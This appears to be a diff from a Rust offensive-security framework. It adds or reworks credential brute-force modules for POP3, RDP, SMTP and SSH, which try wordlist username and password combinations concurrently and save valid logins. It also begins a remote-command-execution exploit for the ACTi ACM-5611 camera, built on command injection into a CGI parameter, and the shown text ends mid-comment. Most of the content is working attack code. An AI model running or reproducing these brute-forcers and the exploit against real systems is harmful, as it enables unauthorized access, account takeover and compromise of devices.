let n = stream.read(&mut buf)?;
let banner = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", banner.trim_end()); }
if !banner.to_ascii_lowercase().contains("+ok") {
return Err(anyhow::anyhow!("No +OK banner: {}", banner));
}
// USER
let user_cmd = format!("USER {}\r\n", username);
stream.write_all(user_cmd.as_bytes())?;
if verbose { print!("<- {}", user_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
if !resp.to_ascii_lowercase().contains("+ok") {
return Ok(false);
}
// PASS
let pass_cmd = format!("PASS {}\r\n", password);
stream.write_all(pass_cmd.as_bytes())?;
if verbose { print!("<- {}", pass_cmd); }
let n = stream.read(&mut buf)?;
let resp = String::from_utf8_lossy(&buf[..n]);
if verbose { print!("-> {}\n", resp.trim_end()); }
// Hardened login detection:
let reply = resp.to_ascii_lowercase();
if reply.contains("+ok")
&& !reply.contains("error")
&& !reply.contains("fail")
&& !reply.contains("denied")
&& !reply.contains("invalid")
&& !reply.contains("authentication required")
&& !reply.contains("locked") {
// Only consider true success if reply says +OK and has no error/fail/invalid/denied
if verbose {
stream.write_all(b"STAT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"LIST\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
stream.write_all(b"QUIT\r\n").ok();
let n = stream.read(&mut buf).unwrap_or(0);
if n > 0 { print!("-> {}\n", String::from_utf8_lossy(&buf[..n]).trim_end()); }
} else {
stream.write_all(b"QUIT\r\n").ok();
}
return Ok(true);
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
fn get_hostname(target: &str) -> String {
if let Some(idx) = target.find(':') { target[..idx].trim_matches('[').trim_matches(']').to_string() } else { target.trim_matches('[').trim_matches(']').to_string() }
}
+115 -85
View File
@@ -7,7 +7,7 @@ use std::{
};
use tokio::{
process::Command,
sync::Mutex,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
@@ -19,119 +19,137 @@ pub async fn run(target: &str) -> Result<()> {
let input = prompt_default("RDP Port", "3389")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
Err(_) => println!("Invalid port. Please enter a number."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
_ => println!("Invalid number. Must be greater than 0."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rdp_results.txt")?)
Some(prompt_default("Output file name", "rdp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format_socket_address(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut handles = vec![];
let mut user_cycle_idx = 0;
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
let userlist = if combo_mode {
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
}
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
if *stop.lock().await {
let _permit_guard = permit; // Permit dropped when task finishes
if *stop_signal_clone.lock().await {
return;
}
match try_rdp_login(&addr, &user, &pass).await {
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop.lock().await = true;
*stop_signal_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
}
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (host_addr, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
println!("[+] Results saved to '{}'", filename.display());
}
}
@@ -144,10 +162,11 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg("/timeout:5000")
.arg("/timeout:5000")
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::piped())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.spawn()?;
let status = child.wait().await?;
@@ -157,36 +176,36 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
println!("This field is required. Please provide a value.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{} [{}]: ", msg, default_val);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{} {} : ", msg, options);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
@@ -197,18 +216,20 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let file = File::open(path.as_ref())
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
@@ -218,23 +239,32 @@ fn log(verbose: bool, msg: &str) {
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('\\')
{
"rdp_brute_results.txt" // A robust default filename
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
// —— updated helper to handle any number of brackets ——
fn format_socket_address(ip: &str, port: u16) -> String {
// Strip all existing brackets from the ends, no matter how many layers
let trimmed = ip.trim_matches(|c| c == '[' || c == ']').to_string();
// If it still contains a colon, assume IPv6 and wrap in one pair of brackets
if trimmed.contains(':') {
format!("[{}]:{}", trimmed, port)
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed, port)
format!("{}:{}", trimmed_ip, port)
}
}
@@ -0,0 +1,217 @@
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_smtp_bruteforce(config)
}
fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let addr = normalize_target(&config.target, config.port)?;
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
} else if usernames.len() == 1 {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
} else if passwords.len() == 1 {
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
} else {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
let found = found.lock().unwrap();
if found.is_empty() {
println!("[-] No valid credentials.");
} else {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("[+] Saved to {}", f);
}
}
Ok(())
}
/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
use base64::{engine::general_purpose, Engine as _};
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
let mut telnet = Telnet::from_stream(Box::new(stream), 256);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read error")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
let mut buf = String::new();
for _ in 0..6 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
buf.push_str(&s);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
let mut expect_user = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_user = true; break; }
}
}
if !expect_user { return Ok(false); }
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
let mut expect_pass = false;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("334") { expect_pass = true; break; }
}
}
if !expect_pass { return Ok(false); }
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read()?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { break; }
}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Open: {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
Ok(())
}
fn prompt(msg: &str) -> String {
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
let t = host.trim();
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
let addr = cap.get(1).unwrap().as_str();
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
}
+92 -83
View File
@@ -8,7 +8,7 @@ use std::{
sync::Arc,
};
use tokio::{
sync::Mutex,
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, Duration},
};
@@ -39,83 +39,90 @@ pub async fn run(target: &str) -> Result<()> {
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_results.txt")?)
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let initial_addr = format!("{}:{}", target, port);
let connect_addr = format_host_port(&initial_addr)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("\n[*] Starting brute-force on {}", connect_addr);
let users = load_lines(&usernames_file)?;
let users = Arc::new(load_lines(&usernames_file)?);
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = Vec::new();
let mut user_cycle_idx = 0;
for pass_str in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
let users_for_current_pass: Box<dyn Iterator<Item = String>> = if combo_mode {
Box::new(users.iter().cloned())
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
if users.is_empty() {
Box::new(std::iter::empty())
} else {
let user = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
Box::new(std::iter::once(user))
}
};
let mut handles = vec![];
for user_str in users_for_current_pass {
if *stop.lock().await {
break;
}
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let task_addr = connect_addr.clone();
let task_user = user_str;
let task_pass = pass_str.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
let task = tokio::spawn(async move {
let _permit = permit;
if *stop_clone.lock().await {
return;
}
match try_ssh_login(&addr, &user, &pass).await {
match try_ssh_login(&task_addr, &task_user, &task_pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
println!("[+] {} -> {}:{}", task_addr, task_user, task_pass);
found_clone.lock().await.push((task_addr.clone(), task_user.clone(), task_pass.clone()));
if stop_on_success {
*stop.lock().await = true;
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
log(verbose, &format!("[-] {} -> {}:{}", task_addr, task_user, task_pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
log(verbose, &format!("[!] {}: error: {}", task_addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
tasks.push(task);
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
for task in tasks {
let _ = task.await;
}
let creds = found.lock().await;
@@ -124,11 +131,11 @@ pub async fn run(target: &str) -> Result<()> {
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
@@ -140,23 +147,23 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let normalized = format_host_port(addr)?;
let user = user.to_string();
let pass = pass.to_string();
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&normalized) {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ SSH session
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error: {}", e)),
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
@@ -164,44 +171,43 @@ async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
Ok(result)
}
/// 💡 Format IP/hostname into `host:port` with safe IPv6 wrapping,
/// stripping any extra nesting of `[`/`]`.
fn format_host_port(input: &str) -> Result<String> {
// If its already exactly "[ipv6]:port" (no nested brackets inside), accept it as-is.
if input.starts_with('[') {
if let Some(end) = input.find("]:") {
let inner = &input[1..end];
if !inner.contains('[') && !inner.contains(']') {
return Ok(input.to_string());
if let Some(end_bracket_idx) = input.find("]:") {
let host_part = &input[1..end_bracket_idx];
if !host_part.contains('[') && !host_part.contains(']') {
if (&input[end_bracket_idx+2..]).parse::<u16>().is_ok() {
return Ok(input.to_string());
}
}
}
}
// Otherwise, split off the port by the last ':'.
let parts: Vec<&str> = input.rsplitn(2, ':').collect();
if parts.len() != 2 {
return Err(anyhow!("Invalid target address format: '{}'", input));
let (host_candidate, port_str) = match input.rfind(':') {
Some(idx) if idx > 0 => { // Ensure colon is not the first character
let (h, p) = input.split_at(idx);
(h, &p[1..]) // Strip colon from port part
}
_ => return Err(anyhow!("Invalid target address format: '{}' - missing port or malformed", input)),
};
if port_str.parse::<u16>().is_err() {
return Err(anyhow!("Invalid port in address: '{}'", input));
}
let port = parts[0];
let raw_host = parts[1];
// Strip _all_ leading '[' and trailing ']' from the host part
let host = raw_host.trim_matches(|c| c == '[' || c == ']');
let stripped_host = host_candidate.trim_matches(|c| c == '[' || c == ']');
// If its an IPv6 (contains ':'), wrap exactly once.
if host.contains(':') {
Ok(format!("[{}]:{}", host, port))
if stripped_host.contains(':') {
Ok(format!("[{}]:{}", stripped_host, port_str))
} else {
Ok(format!("{}:{}", host, port))
Ok(format!("{}:{}", stripped_host, port_str))
}
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -215,7 +221,7 @@ fn prompt_required(msg: &str) -> Result<String> {
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -227,10 +233,10 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
@@ -247,7 +253,8 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
@@ -262,11 +269,13 @@ fn log(verbose: bool, msg: &str) {
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
.map(|os_str| os_str.to_string_lossy())
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
.map(|s_cow| s_cow.into_owned())
.unwrap_or_else(|| "ssh_brute_results.txt".to_string());
PathBuf::from(format!("./{}", path_candidate))
}
@@ -1,9 +1,2 @@
pub mod uniview_nvr_pwd_disclosure;
pub mod abussecurity_camera_cve202326609variant1;
pub mod abussecurity_camera_cve202326609variant2;
// pub mod
+79
View File
@@ -0,0 +1,79 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use std::time::Duration;
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)
pub async fn run(target: &str) -> Result<()> {
let port = 8080; // // Default port
if check(target, port).await? {
println!("[+] Target seems vulnerable: {}:{}", target, port);
// // Simulated shell command execution
let cmd = "id"; // // You can change this to any test command
let output = execute(target, port, cmd).await?;
println!("[+] Executed '{}':\n{}", cmd, output);
// // You can extend this to implement full shell injection
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
} else {
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
}
Ok(())
}
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
